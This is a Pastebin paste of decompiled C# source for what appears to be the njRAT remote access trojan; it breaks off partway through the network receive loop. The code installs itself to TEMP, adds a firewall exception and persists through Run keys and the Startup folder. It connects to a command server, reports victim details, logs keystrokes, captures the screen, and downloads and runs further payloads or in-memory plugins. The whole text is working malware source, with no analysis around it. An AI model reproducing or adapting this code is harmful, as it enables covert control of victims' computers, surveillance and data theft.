Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using Microsoft.VisualBasic.Devices;
- using Microsoft.Win32;
- using System;
- using System.Diagnostics;
- using System.Drawing;
- using System.Drawing.Imaging;
- using System.IO;
- using System.IO.Compression;
- using System.Net;
- using System.Net.Sockets;
- using System.Reflection;
- using System.Runtime.CompilerServices;
- using System.Runtime.InteropServices;
- using System.Security.Cryptography;
- using System.Text;
- using System.Threading;
- using System.Windows.Forms;
- namespace j
- {
- [StandardModule]
- internal sealed class OK
- {
- public static string VN = "SGFjS2Vk";
- public static string VR = "0.7d";
- public static object MT = null;
- public static string EXE = "server.exe";
- public static string DR = "TEMP";
- public static string RG = "23f0e3bce589df29a3e6f3e8879b41c1";
- public static string H = "127.0.0.1";
- public static string P = "5552";
- public static string Y = "|'|'|";
- public static bool BD = Conversions.ToBoolean("False");
- public static bool Idr = Conversions.ToBoolean("True");
- public static bool IsF = Conversions.ToBoolean("False");
- public static bool Isu = Conversions.ToBoolean("False");
- public static FileInfo LO = new FileInfo(Assembly.GetEntryAssembly().Location);
- public static FileStream FS;
- public static Computer F = new Computer();
- public static kl kq = null;
- public static bool Cn = false;
- public static string sf = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
- public static TcpClient C = null;
- private static MemoryStream MeM = new MemoryStream();
- private static byte[] b = new byte[5121];
- private static string lastcap = "";
- public static object PLG = null;
- [DllImport("ntdll")]
- private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
- [DllImport("avicap32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
- public static extern bool capGetDriverDescriptionA(short wDriver, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszName, int cbName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVer, int cbVer);
- [DllImport("kernel32", CharSet = CharSet.Ansi, EntryPoint = "GetVolumeInformationA", ExactSpelling = true, SetLastError = true)]
- private static extern int GetVolumeInformation([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpRootPathName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpVolumeNameBuffer, int nVolumeNameSize, ref int lpVolumeSerialNumber, ref int lpMaximumComponentLength, ref int lpFileSystemFlags, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileSystemNameBuffer, int nFileSystemNameSize);
- [DllImport("user32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
- public static extern IntPtr GetForegroundWindow();
- [DllImport("user32.dll", CharSet = CharSet.Ansi, EntryPoint = "GetWindowTextA", ExactSpelling = true, SetLastError = true)]
- public static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);
- [DllImport("user32.dll", CharSet = CharSet.Ansi, EntryPoint = "GetWindowTextLengthA", ExactSpelling = true, SetLastError = true)]
- public static extern int GetWindowTextLength(long hwnd);
- public static void DLV(string n)
- {
- try
- {
- OK.F.Registry.CurrentUser.OpenSubKey("Software\\" + OK.RG, true).DeleteValue(n);
- }
- catch (Exception expr_2C)
- {
- ProjectData.SetProjectError(expr_2C);
- ProjectData.ClearProjectError();
- }
- }
- public static object GTV(string n, object ret)
- {
- object result;
- try
- {
- result = OK.F.Registry.CurrentUser.OpenSubKey("Software\\" + OK.RG).GetValue(n, RuntimeHelpers.GetObjectValue(ret));
- }
- catch (Exception expr_32)
- {
- ProjectData.SetProjectError(expr_32);
- result = ret;
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public static bool STV(string n, object t, RegistryValueKind typ)
- {
- bool result;
- try
- {
- OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG).SetValue(n, RuntimeHelpers.GetObjectValue(t), typ);
- result = true;
- }
- catch (Exception expr_34)
- {
- ProjectData.SetProjectError(expr_34);
- result = false;
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public static string inf()
- {
- string text = "ll" + OK.Y;
- try
- {
- if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", ""), "", false))
- {
- string arg_54_0 = text;
- string text2 = OK.DEB(ref OK.VN) + "_" + OK.HWD();
- text = arg_54_0 + OK.ENB(ref text2) + OK.Y;
- }
- else
- {
- string arg_97_0 = text;
- string text2 = Conversions.ToString(OK.GTV("vn", ""));
- string text3 = OK.DEB(ref text2) + "_" + OK.HWD();
- text = arg_97_0 + OK.ENB(ref text3) + OK.Y;
- }
- }
- catch (Exception expr_9F)
- {
- ProjectData.SetProjectError(expr_9F);
- string arg_BA_0 = text;
- string text3 = OK.HWD();
- text = arg_BA_0 + OK.ENB(ref text3) + OK.Y;
- ProjectData.ClearProjectError();
- }
- try
- {
- text = text + Environment.MachineName + OK.Y;
- }
- catch (Exception expr_DA)
- {
- ProjectData.SetProjectError(expr_DA);
- text = text + "??" + OK.Y;
- ProjectData.ClearProjectError();
- }
- try
- {
- text = text + Environment.UserName + OK.Y;
- }
- catch (Exception expr_10D)
- {
- ProjectData.SetProjectError(expr_10D);
- text = text + "??" + OK.Y;
- ProjectData.ClearProjectError();
- }
- try
- {
- text = text + OK.LO.LastWriteTime.Date.ToString("yy-MM-dd") + OK.Y;
- }
- catch (Exception expr_15C)
- {
- ProjectData.SetProjectError(expr_15C);
- text = text + "??-??-??" + OK.Y;
- ProjectData.ClearProjectError();
- }
- text = text + "" + OK.Y;
- try
- {
- text += OK.F.Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win");
- }
- catch (Exception expr_1FF)
- {
- ProjectData.SetProjectError(expr_1FF);
- text += "??";
- ProjectData.ClearProjectError();
- }
- text += "SP";
- checked
- {
- try
- {
- string[] array = Strings.Split(Environment.OSVersion.ServicePack, " ", -1, CompareMethod.Binary);
- if (array.Length == 1)
- {
- text += "0";
- }
- text += array[array.Length - 1];
- }
- catch (Exception expr_263)
- {
- ProjectData.SetProjectError(expr_263);
- text += "0";
- ProjectData.ClearProjectError();
- }
- try
- {
- if (Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains("x86"))
- {
- text = text + " x64" + OK.Y;
- }
- else
- {
- text = text + " x86" + OK.Y;
- }
- }
- catch (Exception expr_2B7)
- {
- ProjectData.SetProjectError(expr_2B7);
- text += OK.Y;
- ProjectData.ClearProjectError();
- }
- if (OK.Cam())
- {
- text = text + "Yes" + OK.Y;
- }
- else
- {
- text = text + "No" + OK.Y;
- }
- text = text + OK.VR + OK.Y;
- text = text + ".." + OK.Y;
- text = text + OK.ACT() + OK.Y;
- string text4 = "";
- try
- {
- string[] valueNames = OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG, RegistryKeyPermissionCheck.Default).GetValueNames();
- for (int i = 0; i < valueNames.Length; i++)
- {
- string text5 = valueNames[i];
- if (text5.Length == 32)
- {
- text4 = text4 + text5 + ",";
- }
- }
- }
- catch (Exception expr_396)
- {
- ProjectData.SetProjectError(expr_396);
- ProjectData.ClearProjectError();
- }
- return text + text4;
- }
- }
- public static string ENB(ref string s)
- {
- return Convert.ToBase64String(OK.SB(ref s));
- }
- public static string DEB(ref string s)
- {
- byte[] array = Convert.FromBase64String(s);
- return OK.BS(ref array);
- }
- public static byte[] SB(ref string S)
- {
- return Encoding.UTF8.GetBytes(S);
- }
- public static string BS(ref byte[] B)
- {
- return Encoding.UTF8.GetString(B);
- }
- public static byte[] ZIP(byte[] B)
- {
- MemoryStream memoryStream = new MemoryStream(B);
- GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
- byte[] array = new byte[4];
- checked
- {
- memoryStream.Position = memoryStream.Length - 5L;
- memoryStream.Read(array, 0, 4);
- int num = BitConverter.ToInt32(array, 0);
- memoryStream.Position = 0L;
- byte[] array2 = new byte[num - 1 + 1];
- gZipStream.Read(array2, 0, num);
- gZipStream.Dispose();
- memoryStream.Dispose();
- return array2;
- }
- }
- public static bool Cam()
- {
- checked
- {
- try
- {
- int num = 0;
- while (true)
- {
- short arg_17_0 = (short)num;
- string text = Strings.Space(100);
- int arg_17_2 = 100;
- string text2 = null;
- if (OK.capGetDriverDescriptionA(arg_17_0, ref text, arg_17_2, ref text2, 100))
- {
- break;
- }
- num++;
- if (num > 4)
- {
- goto Block_3;
- }
- }
- return true;
- Block_3:;
- }
- catch (Exception expr_2C)
- {
- ProjectData.SetProjectError(expr_2C);
- ProjectData.ClearProjectError();
- }
- return false;
- }
- }
- public static string ACT()
- {
- string result;
- try
- {
- IntPtr foregroundWindow = OK.GetForegroundWindow();
- if (foregroundWindow == IntPtr.Zero)
- {
- result = "";
- }
- else
- {
- string text = Strings.Space(checked(OK.GetWindowTextLength((long)foregroundWindow) + 1));
- OK.GetWindowText(foregroundWindow, ref text, text.Length);
- result = OK.ENB(ref text);
- }
- }
- catch (Exception expr_47)
- {
- ProjectData.SetProjectError(expr_47);
- result = "";
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public static string HWD()
- {
- string result;
- try
- {
- string text = Interaction.Environ("SystemDrive") + "\\";
- string text2 = null;
- int arg_2F_2 = 0;
- int num = 0;
- int num2 = 0;
- string text3 = null;
- int number;
- OK.GetVolumeInformation(ref text, ref text2, arg_2F_2, ref number, ref num, ref num2, ref text3, 0);
- result = Conversion.Hex(number);
- }
- catch (Exception expr_3E)
- {
- ProjectData.SetProjectError(expr_3E);
- result = "ERR";
- ProjectData.ClearProjectError();
- }
- return result;
- }
- public static object Plugin(byte[] b, string c)
- {
- Module[] modules = Assembly.Load(b).GetModules();
- checked
- {
- for (int i = 0; i < modules.Length; i++)
- {
- Module module = modules[i];
- Type[] types = module.GetTypes();
- for (int j = 0; j < types.Length; j++)
- {
- Type type = types[j];
- if (type.FullName.EndsWith("." + c))
- {
- return module.Assembly.CreateInstance(type.FullName);
- }
- }
- }
- return null;
- }
- }
- public static void ED()
- {
- OK.pr(0);
- }
- private static bool CompDir(FileInfo F1, FileInfo F2)
- {
- if (Operators.CompareString(F1.Name.ToLower(), F2.Name.ToLower(), false) != 0)
- {
- return false;
- }
- DirectoryInfo directoryInfo = F1.Directory;
- DirectoryInfo directoryInfo2 = F2.Directory;
- while (Operators.CompareString(directoryInfo.Name.ToLower(), directoryInfo2.Name.ToLower(), false) == 0)
- {
- directoryInfo = directoryInfo.Parent;
- directoryInfo2 = directoryInfo2.Parent;
- if (directoryInfo == null & directoryInfo2 == null)
- {
- return true;
- }
- if (directoryInfo == null)
- {
- return false;
- }
- if (directoryInfo2 == null)
- {
- return false;
- }
- }
- return false;
- }
- public static void UNS()
- {
- OK.pr(0);
- OK.Isu = false;
- try
- {
- OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).DeleteValue(OK.RG, false);
- }
- catch (Exception expr_33)
- {
- ProjectData.SetProjectError(expr_33);
- ProjectData.ClearProjectError();
- }
- try
- {
- OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).DeleteValue(OK.RG, false);
- }
- catch (Exception expr_68)
- {
- ProjectData.SetProjectError(expr_68);
- ProjectData.ClearProjectError();
- }
- try
- {
- Interaction.Shell("netsh firewall delete allowedprogram \"" + OK.LO.FullName + "\"", AppWinStyle.Hide, false, -1);
- }
- catch (Exception expr_9A)
- {
- ProjectData.SetProjectError(expr_9A);
- ProjectData.ClearProjectError();
- }
- try
- {
- if (OK.FS != null)
- {
- OK.FS.Dispose();
- File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe");
- }
- }
- catch (Exception expr_DA)
- {
- ProjectData.SetProjectError(expr_DA);
- ProjectData.ClearProjectError();
- }
- try
- {
- OK.F.Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(OK.RG, false);
- }
- catch (Exception expr_10F)
- {
- ProjectData.SetProjectError(expr_10F);
- ProjectData.ClearProjectError();
- }
- try
- {
- Interaction.Shell("cmd.exe /c ping 0 -n 2 & del \"" + OK.LO.FullName + "\"", AppWinStyle.Hide, false, -1);
- }
- catch (Exception expr_142)
- {
- ProjectData.SetProjectError(expr_142);
- ProjectData.ClearProjectError();
- }
- ProjectData.EndApp();
- }
- public static void INS()
- {
- Thread.Sleep(1000);
- if (OK.Idr)
- {
- if (!OK.CompDir(OK.LO, new FileInfo(Interaction.Environ(OK.DR).ToLower() + "\\" + OK.EXE.ToLower())))
- {
- try
- {
- if (File.Exists(Interaction.Environ(OK.DR) + "\\" + OK.EXE))
- {
- File.Delete(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
- }
- FileStream fileStream = new FileStream(Interaction.Environ(OK.DR) + "\\" + OK.EXE, FileMode.CreateNew);
- byte[] array = File.ReadAllBytes(OK.LO.FullName);
- fileStream.Write(array, 0, array.Length);
- fileStream.Flush();
- fileStream.Close();
- OK.LO = new FileInfo(Interaction.Environ(OK.DR) + "\\" + OK.EXE);
- Process.Start(OK.LO.FullName);
- ProjectData.EndApp();
- }
- catch (Exception expr_10C)
- {
- ProjectData.SetProjectError(expr_10C);
- ProjectData.EndApp();
- ProjectData.ClearProjectError();
- }
- }
- }
- try
- {
- Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User);
- }
- catch (Exception expr_131)
- {
- ProjectData.SetProjectError(expr_131);
- ProjectData.ClearProjectError();
- }
- try
- {
- Interaction.Shell(string.Concat(new string[]
- {
- "netsh firewall add allowedprogram \"",
- OK.LO.FullName,
- "\" \"",
- OK.LO.Name,
- "\" ENABLE"
- }), AppWinStyle.Hide, true, 5000);
- }
- catch (Exception expr_194)
- {
- ProjectData.SetProjectError(expr_194);
- ProjectData.ClearProjectError();
- }
- if (OK.Isu)
- {
- try
- {
- OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
- }
- catch (Exception expr_1EC)
- {
- ProjectData.SetProjectError(expr_1EC);
- ProjectData.ClearProjectError();
- }
- try
- {
- OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
- }
- catch (Exception expr_23A)
- {
- ProjectData.SetProjectError(expr_23A);
- ProjectData.ClearProjectError();
- }
- }
- if (OK.IsF)
- {
- try
- {
- File.Copy(OK.LO.FullName, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe", true);
- OK.FS = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + OK.RG + ".exe", FileMode.Open);
- }
- catch (Exception expr_2A1)
- {
- ProjectData.SetProjectError(expr_2A1);
- ProjectData.ClearProjectError();
- }
- }
- }
- public static void Ind(byte[] b)
- {
- string[] array = Strings.Split(OK.BS(ref b), OK.Y, -1, CompareMethod.Binary);
- checked
- {
- try
- {
- string left = array[0];
- if (Operators.CompareString(left, "ll", false) == 0)
- {
- OK.Cn = false;
- }
- else if (Operators.CompareString(left, "kl", false) == 0)
- {
- OK.Send("kl" + OK.Y + OK.ENB(ref OK.kq.Logs));
- }
- else if (Operators.CompareString(left, "prof", false) == 0)
- {
- string left2 = array[1];
- if (Operators.CompareString(left2, "~", false) == 0)
- {
- OK.STV(array[2], array[3], RegistryValueKind.String);
- }
- else if (Operators.CompareString(left2, "!", false) == 0)
- {
- OK.STV(array[2], array[3], RegistryValueKind.String);
- OK.Send(Conversions.ToString(Operators.ConcatenateObject("getvalue" + OK.Y + array[1] + OK.Y, OK.GTV(array[1], ""))));
- }
- else if (Operators.CompareString(left2, "@", false) == 0)
- {
- OK.DLV(array[2]);
- }
- }
- else
- {
- if (Operators.CompareString(left, "rn", false) == 0)
- {
- byte[] bytes;
- if (array[2][0] == '\u001f')
- {
- try
- {
- MemoryStream memoryStream = new MemoryStream();
- int length = (array[0] + OK.Y + array[1] + OK.Y).Length;
- memoryStream.Write(b, length, b.Length - length);
- bytes = OK.ZIP(memoryStream.ToArray());
- goto IL_20B;
- }
- catch (Exception expr_189)
- {
- ProjectData.SetProjectError(expr_189);
- OK.Send("MSG" + OK.Y + "Execute ERROR");
- OK.Send("bla");
- ProjectData.ClearProjectError();
- return;
- }
- }
- WebClient webClient = new WebClient();
- try
- {
- bytes = webClient.DownloadData(array[2]);
- }
- catch (Exception expr_1D4)
- {
- ProjectData.SetProjectError(expr_1D4);
- OK.Send("MSG" + OK.Y + "Download ERROR");
- OK.Send("bla");
- ProjectData.ClearProjectError();
- return;
- }
- IL_20B:
- OK.Send("bla");
- string text = Path.GetTempFileName() + "." + array[1];
- try
- {
- File.WriteAllBytes(text, bytes);
- Process.Start(text);
- OK.Send("MSG" + OK.Y + "Executed As " + new FileInfo(text).Name);
- return;
- }
- catch (Exception expr_261)
- {
- ProjectData.SetProjectError(expr_261);
- Exception ex = expr_261;
- OK.Send("MSG" + OK.Y + "Execute ERROR " + ex.Message);
- ProjectData.ClearProjectError();
- return;
- }
- }
- if (Operators.CompareString(left, "inv", false) == 0)
- {
- byte[] array2 = (byte[])OK.GTV(array[1], new byte[0]);
- if (array[3].Length < 10 & array2.Length == 0)
- {
- OK.Send(string.Concat(new string[]
- {
- "pl",
- OK.Y,
- array[1],
- OK.Y,
- Conversions.ToString(1)
- }));
- }
- else
- {
- if (array[3].Length > 10)
- {
- MemoryStream memoryStream2 = new MemoryStream();
- int length2 = string.Concat(new string[]
- {
- array[0],
- OK.Y,
- array[1],
- OK.Y,
- array[2],
- OK.Y
- }).Length;
- memoryStream2.Write(b, length2, b.Length - length2);
- array2 = OK.ZIP(memoryStream2.ToArray());
- OK.STV(array[1], array2, RegistryValueKind.Binary);
- }
- OK.Send(string.Concat(new string[]
- {
- "pl",
- OK.Y,
- array[1],
- OK.Y,
- Conversions.ToString(0)
- }));
- object objectValue = RuntimeHelpers.GetObjectValue(OK.Plugin(array2, "A"));
- NewLateBinding.LateSet(objectValue, null, "h", new object[]
- {
- OK.H
- }, null, null);
- NewLateBinding.LateSet(objectValue, null, "p", new object[]
- {
- OK.P
- }, null, null);
- NewLateBinding.LateSet(objectValue, null, "osk", new object[]
- {
- array[2]
- }, null, null);
- NewLateBinding.LateCall(objectValue, null, "start", new object[0], null, null, null, true);
- while (!Conversions.ToBoolean(Operators.OrObject(!OK.Cn, Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, null, "Off", new object[0], null, null, null), true, false))))
- {
- Thread.Sleep(1);
- }
- NewLateBinding.LateSet(objectValue, null, "off", new object[]
- {
- true
- }, null, null);
- }
- }
- else if (Operators.CompareString(left, "ret", false) == 0)
- {
- byte[] array3 = (byte[])OK.GTV(array[1], new byte[0]);
- if (array[2].Length < 10 & array3.Length == 0)
- {
- OK.Send(string.Concat(new string[]
- {
- "pl",
- OK.Y,
- array[1],
- OK.Y,
- Conversions.ToString(1)
- }));
- }
- else
- {
- if (array[2].Length > 10)
- {
- MemoryStream memoryStream3 = new MemoryStream();
- int length3 = (array[0] + OK.Y + array[1] + OK.Y).Length;
- memoryStream3.Write(b, length3, b.Length - length3);
- array3 = OK.ZIP(memoryStream3.ToArray());
- OK.STV(array[1], array3, RegistryValueKind.Binary);
- }
- OK.Send(string.Concat(new string[]
- {
- "pl",
- OK.Y,
- array[1],
- OK.Y,
- Conversions.ToString(0)
- }));
- object objectValue2 = RuntimeHelpers.GetObjectValue(OK.Plugin(array3, "A"));
- string[] array4 = new string[5];
- array4[0] = "ret";
- array4[1] = OK.Y;
- array4[2] = array[1];
- array4[3] = OK.Y;
- string[] arg_658_0 = array4;
- int arg_658_1 = 4;
- string text2 = Conversions.ToString(NewLateBinding.LateGet(objectValue2, null, "GT", new object[0], null, null, null));
- arg_658_0[arg_658_1] = OK.ENB(ref text2);
- OK.Send(string.Concat(array4));
- }
- }
- else if (Operators.CompareString(left, "CAP", false) == 0)
- {
- int arg_6A9_0 = Screen.PrimaryScreen.Bounds.Width;
- Rectangle bounds = Screen.PrimaryScreen.Bounds;
- Bitmap bitmap = new Bitmap(arg_6A9_0, bounds.Height, PixelFormat.Format16bppRgb555);
- Graphics graphics = Graphics.FromImage(bitmap);
- Graphics arg_6DB_0 = graphics;
- int arg_6DB_1 = 0;
- int arg_6DB_2 = 0;
- int arg_6DB_3 = 0;
- int arg_6DB_4 = 0;
- Size size = new Size(bitmap.Width, bitmap.Height);
- arg_6DB_0.CopyFromScreen(arg_6DB_1, arg_6DB_2, arg_6DB_3, arg_6DB_4, size, CopyPixelOperation.SourceCopy);
- try
- {
- Cursor arg_702_0 = Cursors.Default;
- Graphics arg_702_1 = graphics;
- Point arg_6FB_1 = Cursor.Position;
- size = new Size(32, 32);
- bounds = new Rectangle(arg_6FB_1, size);
- arg_702_0.Draw(arg_702_1, bounds);
- }
- catch (Exception expr_709)
- {
- ProjectData.SetProjectError(expr_709);
- ProjectData.ClearProjectError();
- }
- graphics.Dispose();
- Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
- graphics = Graphics.FromImage(bitmap2);
- graphics.DrawImage(bitmap, 0, 0, bitmap2.Width, bitmap2.Height);
- graphics.Dispose();
- MemoryStream memoryStream4 = new MemoryStream();
- string text2 = "CAP" + OK.Y;
- b = OK.SB(ref text2);
- memoryStream4.Write(b, 0, b.Length);
- MemoryStream memoryStream5 = new MemoryStream();
- bitmap2.Save(memoryStream5, ImageFormat.Jpeg);
- string left3 = OK.md5(memoryStream5.ToArray());
- if (Operators.CompareString(left3, OK.lastcap, false) != 0)
- {
- OK.lastcap = left3;
- memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length);
- }
- else
- {
- memoryStream4.WriteByte(0);
- }
- OK.Sendb(memoryStream4.ToArray());
- memoryStream4.Dispose();
- memoryStream5.Dispose();
- bitmap.Dispose();
- bitmap2.Dispose();
- }
- else if (Operators.CompareString(left, "un", false) == 0)
- {
- string left4 = array[1];
- if (Operators.CompareString(left4, "~", false) == 0)
- {
- OK.UNS();
- }
- else if (Operators.CompareString(left4, "!", false) == 0)
- {
- OK.pr(0);
- ProjectData.EndApp();
- }
- else if (Operators.CompareString(left4, "@", false) == 0)
- {
- OK.pr(0);
- Process.Start(OK.LO.FullName);
- ProjectData.EndApp();
- }
- }
- else if (Operators.CompareString(left, "up", false) == 0)
- {
- byte[] bytes2 = null;
- if (array[1][0] == '\u001f')
- {
- try
- {
- MemoryStream memoryStream6 = new MemoryStream();
- int length4 = (array[0] + OK.Y).Length;
- memoryStream6.Write(b, length4, b.Length - length4);
- bytes2 = OK.ZIP(memoryStream6.ToArray());
- goto IL_97B;
- }
- catch (Exception expr_8F8)
- {
- ProjectData.SetProjectError(expr_8F8);
- OK.Send("MSG" + OK.Y + "Update ERROR");
- OK.Send("bla");
- ProjectData.ClearProjectError();
- return;
- }
- }
- WebClient webClient2 = new WebClient();
- try
- {
- bytes2 = webClient2.DownloadData(array[1]);
- }
- catch (Exception expr_944)
- {
- ProjectData.SetProjectError(expr_944);
- OK.Send("MSG" + OK.Y + "Update ERROR");
- OK.Send("bla");
- ProjectData.ClearProjectError();
- return;
- }
- IL_97B:
- OK.Send("bla");
- string text3 = Path.GetTempFileName() + ".exe";
- try
- {
- OK.Send("MSG" + OK.Y + "Updating To " + new FileInfo(text3).Name);
- Thread.Sleep(2000);
- File.WriteAllBytes(text3, bytes2);
- Process.Start(text3, "..");
- }
- catch (Exception expr_9DF)
- {
- ProjectData.SetProjectError(expr_9DF);
- Exception ex2 = expr_9DF;
- OK.Send("MSG" + OK.Y + "Update ERROR " + ex2.Message);
- ProjectData.ClearProjectError();
- return;
- }
- OK.UNS();
- }
- else if (Operators.CompareString(left, "Ex", false) == 0)
- {
- if (OK.PLG == null)
- {
- OK.Send("PLG");
- int num = 0;
- while (!(OK.PLG != null | num == 20 | !OK.Cn))
- {
- num++;
- Thread.Sleep(1000);
- }
- if (OK.PLG == null | !OK.Cn)
- {
- return;
- }
- }
- object arg_ABB_0 = OK.PLG;
- Type arg_ABB_1 = null;
- string arg_ABB_2 = "ind";
- object[] array5 = new object[]
- {
- b
- };
- object[] arg_ABB_3 = array5;
- string[] arg_ABB_4 = null;
- Type[] arg_ABB_5 = null;
- bool[] array6 = new bool[]
- {
- true
- };
- NewLateBinding.LateCall(arg_ABB_0, arg_ABB_1, arg_ABB_2, arg_ABB_3, arg_ABB_4, arg_ABB_5, array6, true);
- if (array6[0])
- {
- b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[]));
- }
- }
- else if (Operators.CompareString(left, "PLG", false) == 0)
- {
- MemoryStream memoryStream7 = new MemoryStream();
- int length5 = (array[0] + OK.Y).Length;
- memoryStream7.Write(b, length5, b.Length - length5);
- OK.PLG = RuntimeHelpers.GetObjectValue(OK.Plugin(OK.ZIP(memoryStream7.ToArray()), "A"));
- NewLateBinding.LateSet(OK.PLG, null, "H", new object[]
- {
- OK.H
- }, null, null);
- NewLateBinding.LateSet(OK.PLG, null, "P", new object[]
- {
- OK.P
- }, null, null);
- NewLateBinding.LateSet(OK.PLG, null, "c", new object[]
- {
- OK.C
- }, null, null);
- }
- }
- }
- catch (Exception expr_BC0)
- {
- ProjectData.SetProjectError(expr_BC0);
- Exception ex3 = expr_BC0;
- if (array.Length > 0 && (Operators.CompareString(array[0], "Ex", false) == 0 | Operators.CompareString(array[0], "PLG", false) == 0))
- {
- OK.PLG = null;
- }
- try
- {
- OK.Send(string.Concat(new string[]
- {
- "ER",
- OK.Y,
- array[0],
- OK.Y,
- ex3.Message
- }));
- }
- catch (Exception expr_C3D)
- {
- ProjectData.SetProjectError(expr_C3D);
- ProjectData.ClearProjectError();
- }
- ProjectData.ClearProjectError();
- }
- }
- }
- public static string md5(byte[] B)
- {
- MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
- B = mD5CryptoServiceProvider.ComputeHash(B);
- string text = "";
- byte[] array = B;
- checked
- {
- for (int i = 0; i < array.Length; i++)
- {
- byte b = array[i];
- text += b.ToString("x2");
- }
- return text;
- }
- }
- public static void pr(int i)
- {
- try
- {
- OK.NtSetInformationProcess(Process.GetCurrentProcess().Handle, 29, ref i, 4);
- }
- catch (Exception expr_17)
- {
- ProjectData.SetProjectError(expr_17);
- ProjectData.ClearProjectError();
- }
- }
- public static bool Sendb(byte[] b)
- {
- if (!OK.Cn)
- {
- return false;
- }
- try
- {
- FileInfo lO = OK.LO;
- lock (lO)
- {
- if (!OK.Cn)
- {
- return false;
- }
- MemoryStream memoryStream = new MemoryStream();
- string text = b.Length.ToString() + "\0";
- byte[] array = OK.SB(ref text);
- memoryStream.Write(array, 0, array.Length);
- memoryStream.Write(b, 0, b.Length);
- OK.C.Client.Send(memoryStream.ToArray(), 0, checked((int)memoryStream.Length), SocketFlags.None);
- }
- }
- catch (Exception expr_8C)
- {
- ProjectData.SetProjectError(expr_8C);
- try
- {
- if (OK.Cn)
- {
- OK.Cn = false;
- OK.C.Close();
- }
- }
- catch (Exception expr_AC)
- {
- ProjectData.SetProjectError(expr_AC);
- ProjectData.ClearProjectError();
- }
- ProjectData.ClearProjectError();
- }
- return OK.Cn;
- }
- public static bool Send(string S)
- {
- return OK.Sendb(OK.SB(ref S));
- }
- public static bool connect()
- {
- OK.Cn = false;
- Thread.Sleep(2000);
- FileInfo lO = OK.LO;
- lock (lO)
- {
- try
- {
- if (OK.C != null)
- {
- try
- {
- OK.C.Close();
- OK.C = null;
- }
- catch (Exception expr_37)
- {
- ProjectData.SetProjectError(expr_37);
- ProjectData.ClearProjectError();
- }
- }
- try
- {
- OK.MeM.Dispose();
- }
- catch (Exception expr_51)
- {
- ProjectData.SetProjectError(expr_51);
- ProjectData.ClearProjectError();
- }
- }
- catch (Exception expr_5F)
- {
- ProjectData.SetProjectError(expr_5F);
- ProjectData.ClearProjectError();
- }
- try
- {
- OK.MeM = new MemoryStream();
- OK.C = new TcpClient();
- OK.C.ReceiveBufferSize = 204800;
- OK.C.SendBufferSize = 204800;
- OK.C.Client.SendTimeout = 10000;
- OK.C.Client.ReceiveTimeout = 10000;
- OK.C.Connect(OK.H, Conversions.ToInteger(OK.P));
- OK.Cn = true;
- OK.Send(OK.inf());
- try
- {
- string text;
- if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", ""), "", false))
- {
- text = text + OK.DEB(ref OK.VN) + "\r\n";
- }
- else
- {
- string arg_14B_0 = text;
- string text2 = Conversions.ToString(OK.GTV("vn", ""));
- text = arg_14B_0 + OK.DEB(ref text2) + "\r\n";
- }
- text = string.Concat(new string[]
- {
- text,
- OK.H,
- ":",
- OK.P,
- "\r\n"
- });
- text = text + OK.DR + "\r\n";
- text = text + OK.EXE + "\r\n";
- text = text + Conversions.ToString(OK.Idr) + "\r\n";
- text = text + Conversions.ToString(OK.IsF) + "\r\n";
- text = text + Conversions.ToString(OK.Isu) + "\r\n";
- text += Conversions.ToString(OK.BD);
- OK.Send("inf" + OK.Y + OK.ENB(ref text));
- }
- catch (Exception expr_22C)
- {
- ProjectData.SetProjectError(expr_22C);
- ProjectData.ClearProjectError();
- }
- }
- catch (Exception expr_23B)
- {
- ProjectData.SetProjectError(expr_23B);
- OK.Cn = false;
- ProjectData.ClearProjectError();
- }
- }
- return OK.Cn;
- }
- public static void RC()
- {
- checked
- {
- while (true)
- {
- OK.lastcap = "";
- if (OK.C != null)
- {
- long num = -1L;
- int num2 = 0;
- try
- {
- while (true)
- {
- IL_1B:
- num2++;
- if (num2 == 10)
- {
- num2 = 0;
- Thread.Sleep(1);
- }
- if (!OK.Cn)
- {
- break;
- }
- if (OK.C.Available < 1)
- {
- OK.C.Client.Poll(-1, SelectMode.SelectRead);
- }
